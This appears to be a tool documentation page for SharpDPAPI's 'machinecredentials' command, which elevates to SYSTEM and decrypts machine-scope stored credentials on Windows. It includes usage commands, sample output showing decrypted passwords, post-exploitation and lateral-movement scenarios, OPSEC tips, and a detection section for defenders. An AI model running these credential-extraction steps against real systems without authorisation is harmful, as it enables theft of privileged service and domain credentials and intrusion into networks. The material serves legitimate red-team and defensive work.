> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.

# machinecredentials

> Decrypt machine/SYSTEM credential files

## Overview

The **machinecredentials** command elevates to SYSTEM, retrieves the DPAPI\_SYSTEM LSA secret, decrypts machine masterkeys, and uses them to decrypt all machine-scope Credential Manager files. This reveals credentials for scheduled tasks, services, and system-level saved passwords.

<Info>
  Machine credentials are stored in system profile directories and protected with machine-scope DPAPI, containing high-value credentials for scheduled tasks and service accounts.
</Info>

## Basic Usage

```bash theme={null}
# Decrypt machine credentials (requires elevation)
SharpDPAPI.exe machinecredentials
```

<Warning>
  This command requires **elevation** (Administrator privileges) to:

  * Elevate to SYSTEM via token duplication
  * Retrieve the DPAPI\_SYSTEM LSA secret
  * Access system credential files
</Warning>

## How It Works

<Steps>
  <Step title="Elevation to SYSTEM">
    Duplicates a SYSTEM token to elevate privileges
  </Step>

  <Step title="DPAPI_SYSTEM Retrieval">
    Retrieves the DPAPI\_SYSTEM LSA secret
  </Step>

  <Step title="Masterkey Decryption">
    Decrypts all machine DPAPI masterkeys using DPAPI\_SYSTEM
  </Step>

  <Step title="Credential Discovery">
    Locates machine credential files in system directories
  </Step>

  <Step title="Credential Decryption">
    Decrypts each credential file using machine masterkeys
  </Step>
</Steps>

## Credential File Locations

Machine credentials are stored in:

```
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials\
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials\
```

## Example Output

```bash theme={null}
SharpDPAPI.exe machinecredentials
```

**Output:**

```
[*] Action: Machine DPAPI Credential Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
{0bd732d9-c396-4f9a-a69a-508632c05235}:8A9F2C1D3E4B5C6A7D8E9F0A1B2C3D4E5F6A7B8C

[*] Triaging System Credentials

Folder       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  CredFile           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    size             : 544
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 3/24/2019 7:08:43 PM
    TargetName       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    TargetAlias      :
    Comment          :
    UserName         : TESTLAB\harmj0y
    Credential       : Password123!


Folder       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    size             : 412
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 5/15/2019 9:22:11 AM
    TargetName       : Domain:target=TERMSRV/10.10.10.50
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\service_account
    Credential       : P@ssw0rd!
```

## Types of Machine Credentials Found

<AccordionGroup>
  <Accordion title="Scheduled Task Credentials">
    **TargetName:** `Domain:batch=TaskScheduler:Task:{GUID}`

    * Credentials for tasks running as specific users
    * Domain and local account passwords
    * Service account credentials
    * Automated job credentials

    **Why Valuable:**

    * Often domain admin or privileged accounts
    * Used for administrative automation
    * Long-lived credentials
  </Accordion>

  <Accordion title="Service Account Credentials">
    **Various TargetNames**

    * Windows service account passwords
    * Application pool identities
    * Background process credentials
    * System service accounts

    **Why Valuable:**

    * Elevated privileges common
    * Network access credentials
    * Database access accounts
  </Accordion>

  <Accordion title="RDP Saved Credentials">
    **TargetName:** `Domain:target=TERMSRV/HOSTNAME`

    * Saved Remote Desktop passwords
    * System-level RDP credentials
    * Service account RDP access
    * Jump box credentials

    **Why Valuable:**

    * Lateral movement credentials
    * Administrative access
    * Server-to-server connections
  </Accordion>

  <Accordion title="Network Authentication">
    **TargetName:** Various network targets

    * Network share credentials
    * SQL Server connections
    * Web service authentication
    * API credentials

    **Why Valuable:**

    * Network resource access
    * Database credentials
    * Internal service accounts
  </Accordion>
</AccordionGroup>

## Common Scenarios

<AccordionGroup>
  <Accordion title="Post-Exploitation Credential Gathering">
    After gaining admin access:

    ```bash theme={null}
    # Extract machine credentials
    SharpDPAPI.exe machinecredentials

    # Look for high-value credentials:
    # - Scheduled tasks (Domain:batch=TaskScheduler)
    # - RDP connections (TERMSRV)
    # - Service accounts
    # - Network resource access
    ```
  </Accordion>

  <Accordion title="Scheduled Task Enumeration">
    Find and correlate task credentials:

    ```bash theme={null}
    # 1. Extract credentials
    SharpDPAPI.exe machinecredentials

    # 2. List scheduled tasks
    schtasks /query /fo LIST /v

    # 3. Correlate task GUIDs with credentials
    # Look for TargetName: Domain:batch=TaskScheduler:Task:{GUID}

    # 4. Find task details
    schtasks /query /tn "\Task\Name" /v
    ```
  </Accordion>

  <Accordion title="Service Account Discovery">
    Identify service credentials:

    ```bash theme={null}
    # 1. Extract machine credentials
    SharpDPAPI.exe machinecredentials

    # 2. Enumerate services
    sc.exe query state= all

    # 3. Check service configurations
    sc.exe qc ServiceName

    # 4. Correlate service accounts with found credentials
    ```
  </Accordion>

  <Accordion title="Lateral Movement Preparation">
    Collect credentials for lateral movement:

    ```bash theme={null}
    # Extract credentials
    SharpDPAPI.exe machinecredentials

    # Test discovered credentials:
    # - RDP access (TERMSRV entries)
    # - Network shares
    # - Remote services
    # - Database connections
    ```
  </Accordion>
</AccordionGroup>

## Credential Flags

The `flags` field indicates protection scope:

| Flag                             | Value      | Description                  |
| -------------------------------- | ---------- | ---------------------------- |
| **CRYPTPROTECT\_SYSTEM**         | 0x20000000 | System credential protection |
| **CRYPTPROTECT\_UI\_FORBIDDEN**  | 0x1        | No UI prompts allowed        |
| **CRYPTPROTECT\_LOCAL\_MACHINE** | 0x4        | Machine-scope protection     |

<Note>
  Machine credentials typically have the `CRYPTPROTECT_SYSTEM` flag (0x20000000).
</Note>

## Scheduled Task GUID Correlation

Match credential GUIDs to tasks:

```powershell theme={null}
# Get all scheduled tasks with GUIDs
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $info = Get-ScheduledTaskInfo -TaskName $task.TaskName -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        Name = $task.TaskName
        Path = $task.TaskPath
        User = $task.Principal.UserId
        LastRun = $info.LastRunTime
        NextRun = $info.NextRunTime
    }
}

# Find task by GUID from credential TargetName
# The GUID is in format: Task:{GUID}
```

## Detection Considerations

<Warning>
  Machine credential extraction is a high-privilege operation that should trigger security monitoring.
</Warning>

**Host-Based Indicators:**

* Elevation to SYSTEM privileges
* LSA secret retrieval (DPAPI\_SYSTEM)
* Access to system profile credential directories
* Bulk credential file reading
* Token duplication activity

**Event Log Indicators:**

```
Event ID: 4624 (Logon)
Logon Type: 3 (Network)
Account Name: SYSTEM

Event ID: 4656/4663 (Object Access)
Object Name: *\SystemProfile\AppData\Local\Microsoft\Credentials\*
Object Name: *\ServiceProfiles\*\Credentials\*
Object Name: LSA Secrets

Event ID: 4673 (Privileged Service Called)
Privileges: SeDebugPrivilege, SeImpersonatePrivilege
```

**Defensive Monitoring:**

* Monitor SYSTEM token impersonation
* Alert on LSA secret access (DPAPI\_SYSTEM)
* Track access to system credential directories
* Detect bulk credential file enumeration
* Monitor SharpDPAPI or similar tool execution

## Related Commands

<CardGroup cols={2}>
  <Card title="machinemasterkeys" icon="key" href="/ghostpack-docs/SharpDPAPI-mdx/commands/machinemasterkeys">
    Extract machine masterkeys first
  </Card>

  <Card title="machinevaults" icon="vault" href="/ghostpack-docs/SharpDPAPI-mdx/commands/machinevaults">
    Decrypt machine vault data
  </Card>

  <Card title="machinetriage" icon="list-check" href="/ghostpack-docs/SharpDPAPI-mdx/commands/machinetriage">
    Comprehensive machine DPAPI triage
  </Card>

  <Card title="credentials" icon="id-card" href="/ghostpack-docs/SharpDPAPI-mdx/commands/credentials">
    Decrypt user credentials
  </Card>
</CardGroup>

## Tips

<Accordion title="Maximizing Credential Value">
  * Focus on scheduled task credentials (often privileged)
  * Correlate task GUIDs with task details
  * Test RDP credentials immediately
  * Check service account privileges
  * Look for domain accounts vs local
</Accordion>

<Accordion title="OPSEC Considerations">
  * Requires elevation (high visibility)
  * SYSTEM privilege elevation generates events
  * LSA secret access triggers alerts
  * Consider timing and detection capabilities
  * May trigger EDR behavioral detections
</Accordion>

<Accordion title="Troubleshooting">
  **Access denied:**

  * Need Administrator privileges
  * UAC may block elevation
  * Security software may prevent SYSTEM access
  * Try running as SYSTEM directly

  **No credentials found:**

  * System may not have saved machine credentials
  * Credentials may be in vault instead
  * Check ServiceProfiles directories
  * Scheduled tasks may use group policy credentials

  **Partial decryption:**

  * Some credentials may use different masterkeys
  * Verify DPAPI\_SYSTEM was retrieved correctly
  * Check all system profile directories
</Accordion>

## Correlating with System Activity

**Scheduled Tasks:**

```powershell theme={null}
# View task details with credentials
Get-ScheduledTask | Where-Object {$_.Principal.UserId -ne "SYSTEM"} |
  Select-Object TaskName, @{N='User';E={$_.Principal.UserId}}
```

**Windows Services:**

```powershell theme={null}
# Services running as domain accounts
Get-WmiObject Win32_Service |
  Where-Object {$_.StartName -like "*\*" -and $_.StartName -ne "LocalSystem"} |
  Select-Object Name, DisplayName, StartName, State
```

**Process Credentials:**

```powershell theme={null}
# Processes running as specific accounts
Get-Process -IncludeUserName |
  Where-Object {$_.UserName -like "*\*"} |
  Group-Object UserName |
  Select-Object Name, Count
```

## Understanding Credential Context

Machine credentials are saved when:

1. **Scheduled Task Creation:**
   * Task configured to run as specific user
   * Password saved in Credential Manager
   * Protected with machine masterkey

2. **Service Installation:**
   * Service configured with service account
   * Credentials stored for service startup
   * Machine-scope DPAPI protection

3. **System-Level Operations:**
   * Administrative tools saving credentials
   * Backup software credentials
   * Monitoring tools
   * Remote management tools